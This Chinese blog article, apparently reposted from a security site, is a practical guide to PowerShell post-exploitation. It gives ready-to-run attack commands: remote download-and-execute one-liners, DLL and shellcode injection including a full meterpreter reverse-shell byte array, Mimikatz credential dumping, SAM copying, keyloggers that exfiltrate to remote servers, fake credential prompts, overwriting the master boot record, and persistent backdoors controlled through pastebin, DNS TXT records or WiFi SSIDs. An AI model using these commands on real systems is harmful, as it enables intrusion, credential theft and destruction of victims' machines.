Powershell攻击指南黑客后渗透之道系列——实战篇

栏目: 软件资讯 · 发布时间: 6年前

内容简介:此文为原创文章作者:香山@安全客每天一篇优质技术好文
Powershell攻击指南黑客后渗透之道系列——实战篇

此文为原创文章

作者:香山@安全客

每天一篇优质技术好文

点滴积累促成质的飞跃

今天也要进步一点点呀

Powershell(12)-实例使用场景

本篇为Powershell攻击指南——黑客后渗透之道系列最后一篇——实战篇,主要介绍的一些实用的利用方式与利用场景和一些实用工具。

在实际的渗透环境中我们利用Powershell的方式无非两种:

  1. 使用编码的方式对Powershell命令进行编码之后运行

  2. 远程下载Powershell代码之后直接运行

两种方式各有利弊,第一种比较方便直接编码即可执行,第二种需要到一台拥有公网IP的机器,那么在实际的渗透环境中如何选择就得看具体场景了。下面看看两种实例:

通过编码的方式执行

我们做一个最简单的例子:

使用编码的方式执行 whoami 命令,我们首先使用下面的命令来进行编码

$command = "whoami" 
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command) 
$encodedCommand = [Convert]::ToBase64String($bytes) 
echo $encodedCommand

这串代码执行完之后就会打印出编码结果,之后直接执行即可 powershell.exe -EncodedCommand $encodedCommand

完整过程如下:

Powershell攻击指南黑客后渗透之道系列——实战篇

搭建小型HTTP服务器

Powershell搭建HTTP服务器在真实的渗透环境中使用率是较高的,比如说我们需要直接的Get一个文件而使用SMB或者FTP是不推荐的,动静太大也较难搭建,而使用HTTP则没有这样的困难,也可以搭建在内网使用Powershell脚本的服务器。

那么很多人会说 Python 就好了啊, -m SimpleHTTPServer 就好了,但是对于Windows操作系统并没有那么的Python环境供你使用,我们需要的是最少的操作做最多的事情,利用Windows自带的软件或文件是我们的最佳选择,所以Powershell是我们的不二之选

HTTPListener-API

那么搭建HTTP服务器也是调用了API,使用到了.Net的API—HttpListener,我们只需要像这样调用 New-Object Net.HttpListener 那么我们就可以得到一个.Net对象,下面我们直接看看代码:

# This script will execute in background
start-job { 
    $p="c:\temp\"
    # $p = Get-Location 可以获取当前用户的目录,如果这样使用后面的$p改为$p.path
    $H=New-Object Net.HttpListener
    $H.Prefixes.Add("http://+:8889/")
    $H.Start()
    While ($H.IsListening) {
        $HC=$H.GetContext()
        $HR=$HC.Response
        $HR.Headers.Add("Content-Type","text/plain")

        $file=Join-Path $p ($HC.Request).RawUrl
        $text=[IO.File]::ReadAllText($file)
        $text=[Text.Encoding]::UTF8.GetBytes($text)
        
        $HR.ContentLength64 = $text.Length
        $HR.OutputStream.Write($text,0,$text.Length)
        $HR.Close()
    }
    $H.Stop()
}

那么代码也不长,直接运行就能在后台运行,Powershell会返回一个任务ID

Powershell攻击指南黑客后渗透之道系列——实战篇

如果我们需要停止这个HTTP,只需要Stop即可:

Powershell攻击指南黑客后渗透之道系列——实战篇

那么我们只需要修改我们的目录即可对相应的目录进行访问与下载,非常方便。

远程加载执行

直接看看命令: powershell "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/httptest.ps1');"

我们只需要在本地开一个Web服务,那么这就很好开了:通过Python或者其他的方式都可以,自己的机器怎么修改都可以。之后通过上面的命令下载你的脚本即可,这样就可以下载并执行了。那么还可以和上面编码的方式并用,就能更好的执行了。

实例工具

下面推荐一些比较好的工具,类似Powersploit或者nishang有的内容就不提及了,就提几个经常使用的工具。

mimikittenz

第一个是mimikittenz这个脚本能够获取到用户级的密码,比如Deopbox,jira,Gmail等等,对于真实的渗透环境来说,需求还是挺大的,下面是这个脚本提供的运行截图。

Powershell攻击指南黑客后渗透之道系列——实战篇

BloodHound

https://github.com/BloodHoundAD/BloodHound

中文名猎犬,先说说能干嘛吧:内网信息域内关系与细节整理,这个 工具 也是作为DEFCON 24的免费开源工具发布,主要使用了图论的一些知识,推荐学习。

DeathStar

https://github.com/byt3bl33d3r/DeathStar

中文名死星,一看名字就知道是个StarWar迷:),也能看出他的威力效果,下面是官方一张gif使用效果这款工具需要配合Empire的API,下面链接是作者的教程,大家可以自行研究。

开发工具

工欲善其事,必先利其器。这里提一下Ps的开发工具供大家选择。

ISE

那么最基础的是Ps的ISE,这个工具是自带的,通过下面的方式打开

Powershell攻击指南黑客后渗透之道系列——实战篇

打开的界面如下:

Powershell攻击指南黑客后渗透之道系列——实战篇

语法高亮,外加一个便于复制和粘贴操作的图形化控制台,可以说是非常的方便。

PowerShell Studio & Visual Studio

但如果你是一个需要更专业的开发环境,这款工具肯定能帮到你,官网在这里,简单看看他的一张截图:

Powershell攻击指南黑客后渗透之道系列——实战篇

可以看到软件是非常专业的,非常的方便编写与管理你的代码。

Visual Studio同意也能达到这样的效果,那么大家可以自行选择。

Powershell(13)-Framework

我们对于框架的介绍主要介绍Powersploit与Nishang,本来写了Empire的,可是在发布文章之前不久刚发了类似的文章,所以删去部分内容,如果需要学习Empire的朋友,可以去安全客搜索文章,当然还是推荐查看Empire的手册。下面开始介绍两个框架:

注:本篇篇幅可能过长,文字较多,可以在需要的时候直接打开文章搜索即可。

PowerSploit

AntivirusBypass

Find-AVSignature

寻找反病毒软件特征码,思路类似于二分法

参考

http://obscuresecurity.blogspot.com/2012/12/finding-simple-av-signatures-with.html

示例 假设我们的远控文件偏移范围为0~10000

Find-AVSignature -StartByte 0 -EndByte 10000 -Interval 5000 -Path test.exe

这条命令将会把test.exe以5000字节作为块大小,分为两个有效部分。第一个部分偏移范围是0 5000,第二部分偏移为0 9999。之后我们可以分别使用杀软扫描这两个文件。不妨设第一个文件没有报毒,而第二个文件报毒了,那么我们就知道,特征码应该存在于偏移范围5001~9999字节内。

接下来我们重复同样的步骤:

Find-AVSignature -StartByte 5001 -EndByte 10000 -Interval 2500 -Path test.exe

再将得到的文件进行扫描,如此往复,直到定位出特征码。

CodeExecution

Invoke-DLLInjection

DLL注入脚本 注意dll架构要与目标进程相符,同时要具备相应的权限

示例

Invoke-DLLInjection -ProcessID 1612 -dll test.dll

Invoke-ReflectivePEInjection

反射型注入,bypass AV的一把利器 个人认为反射型dll注入的精髓之一就在于能做到不在目标磁盘上留下文件,而这个脚本的一大缺陷便是不能远程加载dll/exe,因此要做到无文件就稍显麻烦。 好在已经有人写出了可以从服务器下载文件并注入的脚本。

需要注意的是,ForceASLR选项并不适用于所有dll/exe, 架构上也尽量做到相同。

下面均以加强版作示例

示例 下载dll并注入到id为1320的进程中

Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 1320

强制使用ASLR

Invoke-ReflectivePEInjection -PEUrl http://evil.com/test.dll -ProcId 1320 -ForceASLR

从本地加载dll并注入指定进程

Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320

向exe传参

Invoke-ReflectivePEInjection -PEPath test.dll
-ProcId 1320 -ExeArgs "arg1 arg2"

Invoke-Shellcode

向目标进程注入shellcode 依然需要注意shellcode架构的问题

示例 向powershell进程注入meterpreter

生成shellcode

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.1 lport=4444 -f powershell

No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of powershell file: 1625 bytes
[Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5

注入shellcode

Invoke-Shellcode -Shellcode @(0xfc,0xe8,0x82,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0x8b,0x72,0x28,0xf,0xb7,0x4a,0x26,0x31,0xff,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x1,0xd1,0x51,0x8b,0x59,0x20,0x1,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xff,0xac,0xc1,0xcf,0xd,0x1,0xc7,0x38,0xe0,0x75,0xf6,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x68,0x33,0x32,0x0,0x0,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0xb8,0x90,0x1,0x0,0x0,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0x5,0x68,0xc0,0xa8,0x1,0x1,0x68,0x2,0x0,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xa,0xff,0x4e,0x8,0x75,0xec,0xe8,0x61,0x0,0x0,0x0,0x6a,0x0,0x6a,0x4,0x56,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x56,0x6a,0x0,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x0,0x56,0x53,0x57,0x68,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x0,0x7d,0x22,0x58,0x68,0x0,0x40,0x0,0x0,0x6a,0x0,0x50,0x68,0xb,0x2f,0xf,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0xc,0x24,0xe9,0x71,0xff,0xff,0xff,0x1,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x0,0x53,0xff,0xd5) -Force

Invoke-WmiCommand

在目标主机使用wmi执行命令

示例

$username = "test\Administrator"
$password = echo "123456" | ConvertTo-SecureString -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential $username,$password

Invoke-Wmicommand -Payload { 1 + 1 } -ComputerName '192.168.1.1' -Credential $Credentials

Exfiltration

Get-GPPAutologon

示例

Get-GPPAutologon

Get-GPPPassword

示例

Get-GPPPassword

Get-Keystrokes

键盘记录

示例

Get-Keystrokes -LogPath .\1.txt

Get-MicrophoneAudio

通过麦克风记录声音

示例

Get-MicrophoneAudio -Path .\1.wav -Length 10

Get-TimedScreenshot

屏幕记录

示例

Get-TimedScreenshot -Path .\screenshot\ -Interval 10 -EndTime 18:00

Get-VaultCredential

从凭证管理器中获取凭证

示例

Get-VaultCredential

Invoke-CredentialInjection

参考

https://clymb3r.wordpress.com/2013/11/17/injecting-logon-credentials-with-powershell/

示例

Invoke-CredentialInjection -UserName test -Password 123456 -NewWinLogon

Invoke-Mimikatz

示例

Invoke-Mimikatz -DumpCreds

执行mimikaz命令

invoke-mimikatz -Command "Privilege::Debug Sekurlsa::logonpasswords"

Invoke-NinjaCopy

某些文件被其他进程占用导致不能复制时,可以尝试用这个脚本来复制(例如想dump SAM文件) 需要管理员权限

示例

Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\SAM.hive

Invoke-TokenManipulation

参考

https://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/

示例 枚举唯一 可用的令牌

Invoke-TokenManipulation -Enumerate

枚举所有的令牌(包括不唯一的与通过网络登陆所创建的令牌)

Invoke-TokenManipulation -ShowAll

使用SYSTEM用户的令牌创建一个进程

Invoke-TokenManipulation -CreateProcess "calc.exe" -Username "NT AUTHORITY\SYSTEM"

这里也可以通过ID来指定一个Token

Invoke-TokenManipulation -CreateProcess "calc.exe" -ProcessId "1234"

那么这里会使用进程ID1234的会话来启动一个进程

使当前的线程令牌模仿SYSTEM用户

Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system"

Out-Minidump

dump指定进程完整的内存镜像

示例

Out-Minidump -Process (Get-Process -Id 2612) -DumpFilePath .\

VolumeShadowCopyTools

卷影拷贝工具

Get-VolumeShadowCopy

列出所有卷影拷贝的路径 需要管理员权限 示例

Get-VolumeShadowCopy

New-VolumeShadowCopy

新建卷影拷贝

示例

New-VolumeShadowCopy -Volume C:\

Mount-VolumeShadowCopy

挂载卷影拷贝

示例

Mount-VolumeShadowCopy -Path C:\Users\haha -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Remove-VolumeShadowCopy

删除卷影拷贝

示例

Remove-VolumeShadowCopy -DevicePath \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1

Mayhem

将此模块放在 %Systemroot%/System32\WindowsPowerShell\v1.0\Modules$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules

Set-CriticalProcess

退出powershell时使系统蓝屏

示例

Set-CriticalProcess

立刻退出

Set-CriticalProcess -ExitImmediately

Set-MasterBootRecord

覆写主引导记录

示例

Set-MasterBootRecord -BootMessage "test"

Persistence

同mayhem放置位置

示例

$ElevatedOptions = New-ElevatedPersistenceOption  -PermanentWMI -Daily -At '3 PM'
$UserOptions = New-UserPersistenceOption -Registry -AtLogon
Add-Persistence -FilePath .\EvilPayload.ps1 -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions

Privesc

Get-System

需要运行在STA模式下,启动参数-STA

参考

http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/

示例

get-system

选择方式

get-system -Technique namedpipe/token

恢复令牌

Get-System -RevToSelf

PowerUp

参考

http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc

Recon

Get-ComputerDetails

获取计算机信息

示例

Get-ComputerDetails

Get-HttpStatus

扫目录脚本

示例

Get-HttpStatus -Target www.example.com -Path C:\dic.txt -UseSSL

Invoke-Portscan

扫端口

示例

扫描192.168.1.1/24的135,139,445端口

Invoke-Portscan -Hosts 192.168.1,1 -Ports "135,139,445,1" -Threads 50

扫描Top50的端口

Invoke-Portscan -Hosts 192.168.1.1 -TopPorts 50 -Threads 50

扫描前不ping目标主机

Invoke-Portscan -Hosts 192.168.169.168 -Ports 445 -SkipDiscovery

Invoke-ReverseDnsLookup

ip反查主机名

示例

Invoke-ReverseDnsLookup -IpRange 192.168.1.1-192.168.1.254

PowerView

同mayhem放置位置

参考

https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/README.md http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-1/ http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-2/http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-3/http://www.harmj0y.net/blog/powershell/the-powerview-powerusage-series-4/

ScriptModification

Out-CompressedDll

将dll压缩并base64编码

示例

Out-CompressedDll -FilePath test.dll

Out-EncodedCommand

将脚本或代码块编码

示例 脚本块编码

Out-EncodedCommand -ScriptBlock {write-host 'whoami'}

脚本编码

Out-EncodedCommand -Path .\1.ps1 -WindowStyle Hidden

Out-EncryptedScript

脚本加密

示例

Out-EncryptedScript -ScriptPath .\1.ps1 -Password fuck -Salt 123 -FilePath .\encrypt.ps1

Remove-Comments

删除注释和不必要的空白符

示例

Remove-Comments -Path .\1.ps1
Remove-Comments -ScriptBlock { whoami }

Nishang

下面Nishang的介绍,朋友V1ct0r对于Nishang的总结不错,这里争取同意之后一起发给大家查看。

0.信息搜集

Check-VM

从这个脚本的名字就可以看出来,它是用于检测当前的机器是否是一台已知的虚拟机的。它通过检测已知的一些虚拟机的指纹信息(如:Hyper-V, VMWare, Virtual PC, Virtual Box,Xen,QEMU)来识别。 执行方式:

PS > Check-VM

测试

Powershell攻击指南黑客后渗透之道系列——实战篇

Copy-VSS

这个脚本利用Volume Shadow Copy 服务来复制出SAM文件。如果这个脚本运行在了DC机上ntds.dit和SYSTEM hive也能被拷贝出来。 执行方式:

PS > Copy-VSS //将会直接把文件保存在当前路径下
PS > Copy-VSS -DestinationDir C:\temp  //指定保存文件的路径(必须是已经存在的路径)

测试

Powershell攻击指南黑客后渗透之道系列——实战篇

Invoke-CredentialsPhish

这个脚本是用来欺骗用户输入账号密码信息的。 执行方式:

PS > Invoke-CredentialsPhish

测试

Powershell攻击指南黑客后渗透之道系列——实战篇

执行后会弹出这个框欺骗用户输入

直到用户输入正确后这个框才会消失,然后我们就可以得到明文的管理员账号密码:

Powershell攻击指南黑客后渗透之道系列——实战篇

FireBuster FireListener

FireBuster可以对内网进行扫描,它会把包发给FireListener 执行方式:

PS > FireBuster 10.10.10.10 1000-1020
PS > FireListener -portrange 1000-1020

该脚本作者的Github上面还提供了一个Python版的监听端:https://github.com/roo7break/PowerShell-Scripts/blob/master/FireBuster/ 测试 我们首先在我们的机器(Attacker)上面运行FireListener:

FireListener 100-110

Powershell攻击指南黑客后渗透之道系列——实战篇

Victim:

FireBuster 192.168.199.1 90-110 -Verbose

Powershell攻击指南黑客后渗透之道系列——实战篇

Get-Information

这个脚本可以获取目标机器上大量的信息(FTP访问,进程,计算机配置信息,无线网络和设备的信息,Hosts信息等等非超丰富)。 执行方式:

PS > Get-Information

Powershell攻击指南黑客后渗透之道系列——实战篇

还可以用我们前面说过的Out-File来将运行结果保存到指定文件。

Get-LSASecret

该脚本可以获取LSA信息,但是使用的前提当然是你已经成功提升了权限的情况下,通常和我们后面提权当中涉及到的Enable-DuplicateToken(帮助我们获得System权限)联合使用。 执行方式:

PS > Enable-DuplicateToken
PS > Get-LsaSecret
PS > Get-LsaSecret -RegistryKey KeyName //还可以指定键名

Get-PassHashes

这个脚本在Administrator的权限下,可以dump出密码哈希值。这个脚本来自于msf中powerdump,但做出了修改,使得我们不再需要System权限就可以dump了。 执行方式:

PS > Get-PassHashes -PSObjectFormat //可以使用-PSObjectFormat来格式化输出结果

Powershell攻击指南黑客后渗透之道系列——实战篇

Get-WLAN-Keys

在Administrator的权限下,可以利用这个脚本来dump出WLAN文件的密钥信息。实质上,这个脚本就是利用了netsh wlan show profile name=”” key=clear来获取。 执行方式:

PS > Get-WLAN-Keys

Keylogger

Keylogger可以保存下用户的键盘记录。 执行方式:

PS > .\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis  //-CheckURL参数会去检查所给出的网页之中是否包含 -MagicString后的字符串,如果存在的话就停止使用记录。
PS > .\Keylogger.ps1 -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -MagicString stopthis -exfil -ExfilOption WebServer -URL http://192.168.254.226/data/catch.php //将记录指定发送给一个可以记录Post请求的Web服务器
PS > .\Keylogger.ps1 -persist //实现持久化记录(重启后依然进行记录)
PS > .\Keylogger.ps1 //直接以这种方式来运行,键盘记录会保存在当前用户的Temp目录下key文件中

测试 首先执行 PS > .\Keylogger.ps1

Powershell攻击指南黑客后渗透之道系列——实战篇

发现在当前用户的Temp目录下生成了Key的文件,这时我们使用nishang Utility中的Parse_Keys来解析

PS >Parse_Keys .\key.log .\parsed.txt

然后parsed.txt里面就是解析后的按键记录了

Powershell攻击指南黑客后渗透之道系列——实战篇

Invoke-MimikatzWdigestDowngrade

Dump出Windows 8.1 and Server 2012的系统用户密码。 执行方式:

PS >Invoke-MimikatzWDigestDowngrade
PS > Get-Job | Receive-Job

执行了

PS >Invoke-MimikatzWDigestDowngrade

Windows会锁屏

Powershell攻击指南黑客后渗透之道系列——实战篇

之后执行

Get-Job

发现尝试多次都测试失败

Powershell攻击指南黑客后渗透之道系列——实战篇

解决办法可以参考: 域渗透——Dump Clear-Text Password after KB2871997 installed

Get-PassHints

这个脚本可以从Windows获得用户的密码的提示信息,需要有Administrator的权限来读取SAM hive。 执行方式:

PS > Get-PassHints

Show-TargetScreen

使用MJPEG传输目标机器的远程桌面的实时画面,在本机我们可以使用NC或者Powercat来进行监听。在本地使用支持MJPEG的浏览器(如:Firefox)访问本机对应监听端口,即可在浏览器上面看到远端传输回来的实时画面。

PS > Show-TargetScreen -Reverse -IPAddress 192.168.230.1 -Port 443  //将远程的画面传送到192.168.230.1的443端口

测试 Victim:

Show-TargetScreen -IPAddres 192.168.199.127 -Port 5773 -Reverse

Attacker:

nc.exe -nlvp 5773 | nc.exe -nlvp 9000 //这里我使用的NC,也可以用Powercat

本机访问:127.0.0.1:9000

Powershell攻击指南黑客后渗透之道系列——实战篇

Invoke-Mimikatz

Mimikatz大家都非常熟悉了,就不再介绍了 执行方式:

Invoke-Mimikatz -DumpCerts //Dump出本机的凭证信息
Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2") //Dump出远程两台计算机的凭证信息
Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1" //在远程一台机器上运行Mimikatz并执行"privilege::debug exit"

1.域相关脚本

Get-Unconstrained

查找域内开启了Kerberos Unconstrained Delegation的机器。 执行方式:

PS > Get-Unconstrained //返回开启的计算机名
PS > Get-Unconstrained -Details  //返回更详细的信息

关于”通过Kerberos Unconstrained Delegation获取到域管理员”:http://www.freebuf.com/articles/terminal/98530.html

2.Antak Webshell

Antak

一个ASPX的Webshell,通过这个Webshell可以编码、执行脚本,上传、下载文件。 ![Antak_UI][7] 执行方式:

上传Webshell后把它当成一个正常的Powershell执行窗口来使用
上传和下载文件,只需要填写好对应路径点击上传、下载按钮即可

关于Antak Webshell的更多介绍,请参考:http://www.labofapenetrationtester.com/2014/06/introducing-antak.html

3.后门

HTTP-Backdoor

HTTP-Backdoor可以帮助我们在目标机器上下载和执行Powershell脚本 执行方式:

PS > HTTP-Backdoor -CheckURL http://pastebin.com/raw.php?i=jqP2vJ3x -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -MagicString start123 -StopString stopthis

下面解释下几个比较重要的参数:

  • CheckURL 给出一个URL地址,如果存在我们MagicString中的值就去执行Payload – 下载运行我们的脚本

  • PayloadURL 这个参数给出我们需要下载的Powershell脚本的地址

  • Arguments 这个参数指定我们要执行的函数

  • StopString 这个参数也会去看是否存在我们CheckURL返回的字符串,如果存在就会停止执行

DNS_TXT_Pwnage

利用DNS隧道来进行信息传输、通信的小技巧已经不少见了。在Nishang中也集成了一个通过DNS TXT来接收命令或者脚本的后门脚本。使用DNS_TXT_Pwnage这个脚本,我们一般需要配合Utility下的Out-DnsTxt使用。 所以这里首先说下Out-DnsTxt的使用:

PS >Out-DnsTxt -DataToEncode path //path处是你想编码的内容的路径

之后,它会生成一个编码后的文件,如下图所示

Powershell攻击指南黑客后渗透之道系列——实战篇

然后我们去添加对应的TXT记录就行了,encoded.txt文件中每一行为一条记录 添加完后我们还需要添加两条TXT记录,内容为start和stop 添加完成后,我们就可以利用DNS_TXT_Pwnage这个脚本了 执行方式:

PS >DNS_TXT_Pwnage -startdomain start.test.com -cmdstring start -commanddomain command.test.com -psstring test -psdomain xxx.test.com -Subdomains 1 -StopString stop

具体参数的意思:

  • startdomain 会一直去检测我们指定域名的TXT记录,并把返回的记录与我们输入的cmdstring以及psstring进行比较

  • cmdstring 是我们任意输入的字符串,如果startdomain与我们这里输入的cmdstring值相等则执行commanddomain命令

  • commanddomain 创建的执行命令TXT记录的域名

  • psstring 是我们任意输入的字符串,如果与我们这里输入的psstring值相等则执行psdomain脚本

  • psdomain 是我们创建的执行脚本TXT记录的域名

  • Subdomains 是执行脚本创建TXT记录的个数

  • StopString 是任意输入的字符串,如果这里输入的字符串与startdomain中返回的记录相同将会停止执行我们的Payload

  • Arguments 指定要执行的函数名

Execute-OnTime

执行方式:

PS > Execute-OnTime -PayloadURL http://pastebin.com/raw.php?i=Zhyf8rwh -Arguments Get-Information -Time hh:mm -CheckURL http://pastebin.com/raw.php?i=Zhyf8rwh -StopString stoppayload

具体参数的意思:

  • PayloadURL 指定我们脚本下载的地址

  • Arguments 指定执行的函数名

  • Time 参数可以设定脚本执行的时间(例如 -Time 23:21)

  • CheckURL 参数会检测我们一个指定的URL内容是否存在StopString给出的字符串,如果发现了就停止执行

Gupt-Backdoor

Gupt-Backdoor这个脚本可以帮助我们通过无线SSID反弹后门和执行命令。 执行方式:

PS >Gupt-Backdoor -MagicString test -Verbose

这里解释一下MagicString这个参数: MagicString开头的4个字符是用来识别我们建立的WIFI SSID的。例如,这里是test,Gupt后门会去自动匹配我们WIFI中SSID以test开头的。而MagicString这个参数从第五个字符开始就决定了我们是执行命令或是下载脚本。 需要注意的是:

  • 如果它的第五个字符是c就代表执行命令。 例如:-MagicString testcwhoami 就会匹配WIFI SSID为test的,并执行命令whoami

  • 如果它的第五个字符是u的话就代表下载脚本。 例如:-MagicString testuXXXX 就会匹配WIFI SSID为test的,并默认下载http://goo.gl/XXXX (其中http://goo.gl可在脚本的$PayloadURL参数中修改)

  • 还可以用Arguments参数来指定下载脚本 例如: PS >Gupt-Backdoor -MagicString test -Argument Get-Information -Verbose 就可以下载Get-Information的脚本了

补充 Windows下创建一个WIFI:

cmd
netsh wlan set hostednetwork mode=allow
netsh wlan set hostednetwork ssid=test key=1234567890
netsh wlan start hostednetwork

Add-ScrnSaveBackdoor

这个脚本可以帮助我们利用Windows的屏保来留下一个隐藏的后门 执行方式:

PS >Add-ScrnSaveBackdoor -Payload "powershell.exe -ExecutionPolicy Bypass -noprofile -noexit -c Get-Process" //使用这条语句可以执行我们自己的Payload
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor 
http://pastebin.com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis //利用这条命令可以从powershell执行一个HTTP-Backdoor
PS >Add-ScrnSaveBackdoor -PayloadURL http://192.168.254.1/code_exec.ps1  //还可以使用msfvenom先生成一个powershell (./msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.254.226 -f powershell),然后利用这条命令返回一个meterpreter

其他具体的参数的意思和我们上面介绍的一些后门是类似的

  • PayloadURL 指定我们需要下载的脚本地址

  • Arguments 指定我们要执行的函数以及相关参数

Invoke-ADSBackdoor

这个脚本是使用NTFS数据流留下一个永久性后门。其实,由NTFS数据流带来的一些安全问题的利用并不少见了(如:利用NTFS数据流在Mysql UDF提权中创建lib/plugin目录),大家可以参考《NTFS ADS带来的WEB安全问题》 这个脚本可以向ADS中注入代码并且以普通用户权限运行 执行方式:

PS >Invoke-ADSBackdoor -PayloadURL http://192.168.254.1/Powerpreter.psm1 -Arguments HTTP-Backdoor "http://pastebin.
com/raw.php?i=jqP2vJ3x http://pastebin.com/raw.php?i=Zhyf8rwh start123 stopthis

